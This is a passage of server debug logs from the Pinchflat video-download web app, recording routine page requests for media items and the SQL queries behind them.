m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 21:43:13.766 [info] Sent 200 in 13ms 21:43:13.829 [info] GET /sources/10/media/12544/edit 21:43:13.829 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "12544", "source_id" => "10"} Pipelines: [:browser] 21:43:13.829 [info] GET /sources/10/media/12545 21:43:13.830 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "12545", "source_id" => "10"} Pipelines: [:browser] 21:43:13.831 [debug] QUERY OK source="media_items" db=0.5ms idle=72.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12545] 21:43:13.831 [debug] QUERY OK source="media_items" db=1.1ms idle=73.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12544] 21:43:13.832 [debug] QUERY OK source="settings" db=0.5ms idle=70.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.832 [debug] QUERY OK source="tasks" db=0.8ms idle=72.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [12545] 21:43:13.832 [debug] QUERY OK source="sources" db=1.0ms idle=72.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 21:43:13.833 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.834 [debug] QUERY OK source="oban_jobs" db=0.8ms idle=1.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2183] 21:43:13.834 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.835 [debug] QUERY OK source="settings" db=0.4ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.836 [info] Sent 200 in 6ms 21:43:13.836 [debug] QUERY OK source="settings" db=0.3ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.837 [debug] QUERY OK source="settings" db=0.3ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.839 [debug] QUERY OK source="media_profiles" db=0.3ms idle=4.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 21:43:13.845 [info] Sent 200 in 15ms 21:43:13.856 [info] GET /sources/10/media/12545/edit 21:43:13.856 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "12545", "source_id" => "10"} Pipelines: [:browser] 21:43:13.857 [debug] QUERY OK source="media_items" db=0.5ms idle=21.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12545] 21:43:13.857 [info] GET /sources/10/media/12546 21:43:13.857 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "12546", "source_id" => "10"} Pipelines: [:browser] 21:43:13.858 [debug] QUERY OK source="media_items" db=0.7ms idle=21.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12546] 21:43:13.859 [debug] QUERY OK source="settings" db=1.4ms idle=21.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.860 [debug] QUERY OK source="sources" db=1.1ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 21:43:13.861 [debug] QUERY OK source="tasks" db=1.8ms queue=0.1ms idle=21.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [12546] 21:43:13.861 [debug] QUERY OK source="settings" db=1.6ms idle=20.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.863 [debug] QUERY OK source="settings" db=0.5ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.863 [debug] QUERY OK source="oban_jobs" db=0.8ms idle=3.8ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2184] 21:43:13.864 [info] Sent 200 in 8ms 21:43:13.865 [debug] QUERY OK source="settings" db=1.5ms queue=0.1ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.866 [debug] QUERY OK source="settings" db=0.1ms idle=5.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.867 [debug] QUERY OK source="settings" db=0.3ms idle=5.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.868 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 21:43:13.871 [info] Sent 200 in 13ms 21:43:13.889 [info] GET /sources/10/media/12546/edit 21:43:13.889 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "12546", "source_id" => "10"} Pipelines: [:browser] 21:43:13.890 [debug] QUERY OK source="media_items" db=0.3ms idle=26.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12546] 21:43:13.891 [debug] QUERY OK source="settings" db=0.1ms idle=25.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.891 [debug] QUERY OK source="settings" db=0.1ms idle=24.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.891 [debug] QUERY OK source="settings" db=0.1ms idle=24.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.892 [info] Sent 200 in 3ms 21:43:13.907 [info] GET /sources/10/media/12547 21:43:13.907 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "12547", "source_id" => "10"} Pipelines: [:browser] 21:43:13.908 [debug] QUERY OK source="media_items" db=0.2ms idle=39.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12547] 21:43:13.909 [debug] QUERY OK source="sources" db=0.4ms idle=17.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 21:43:13.909 [debug] QUERY OK source="tasks" db=0.7ms idle=17.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [12547] 21:43:13.910 [debug] QUERY OK source="oban_jobs" db=0.6ms idle=18.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [2185, 2295] 21:43:13.910 [debug] QUERY OK source="settings" db=0.1ms idle=18.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.911 [debug] QUERY OK source="settings" db=0.1ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.911 [debug] QUERY OK source="settings" db=0.1ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.912 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 21:43:13.913 [info] GET /sources/10/media/12547/edit 21:43:13.914 [info] Sent 200 in 6ms 21:43:13.914 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "12547", "source_id" => "10"} Pipelines: [:browser] 21:43:13.914 [debug] QUERY OK source="media_items" db=0.4ms idle=4.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12547] 21:43:13.915 [debug] QUERY OK source="settings" db=0.1ms idle=4.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.915 [debug] QUERY OK source="settings" db=0.1ms idle=4.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.915 [debug] QUERY OK source="settings" db=0.1ms idle=4.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.916 [info] Sent 200 in 2ms 21:43:14.002 [info] GET /sources/10/media/12548 21:43:14.002 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "12548", "source_id" => "10"} Pipelines: [:browser] 21:43:14.003 [debug] QUERY OK source="media_items" db=0.6ms idle=90.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12548] 21:43:14.004 [debug] QUERY OK source="tasks" db=0.4ms idle=88.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [12548] 21:43:14.004 [debug] QUERY OK source="sources" db=0.6ms idle=89.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 21:43:14.005 [debug] QUERY OK source="oban_jobs" db=0.7ms idle=89.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2186] 21:43:14.007 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=91.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.008 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=4.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.010 [debug] QUERY OK source="settings" db=0.3ms idle=5.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.012 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.2ms idle=7.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 21:43:14.016 [info] Sent 200 in 13ms 21:43:14.070 [info] GET /sources/10/media/12548/edit 21:43:14.071 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "12548", "source_id" => "10"} Pipelines: [:browser] 21:43:14.072 [debug] QUERY OK source="media_items" db=0.4ms idle=65.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12548] 21:43:14.073 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=65.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.074 [debug] QUERY OK source="settings" db=0.2ms idle=65.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.075 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=64.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:14.077 [info] Sent 200 in 7ms 21:43:14.099 [info] GET /sources/10/media/12549 21:43:14.099 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "12549", "source_id" => "10"} Pipelines: [:browser] 21:43:14.101 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=87.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12549] 21:43:14.102 [debug] QUERY OK source="tasks" db=0.5ms idle=29.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [12549] 21:43:14.102 [debug] QUERY OK source="sources" db=0.6ms idle=28.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 21:43:14.103 [debug] QUERY OK source="oban_jobs" db=0.9ms idle=28.8ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", 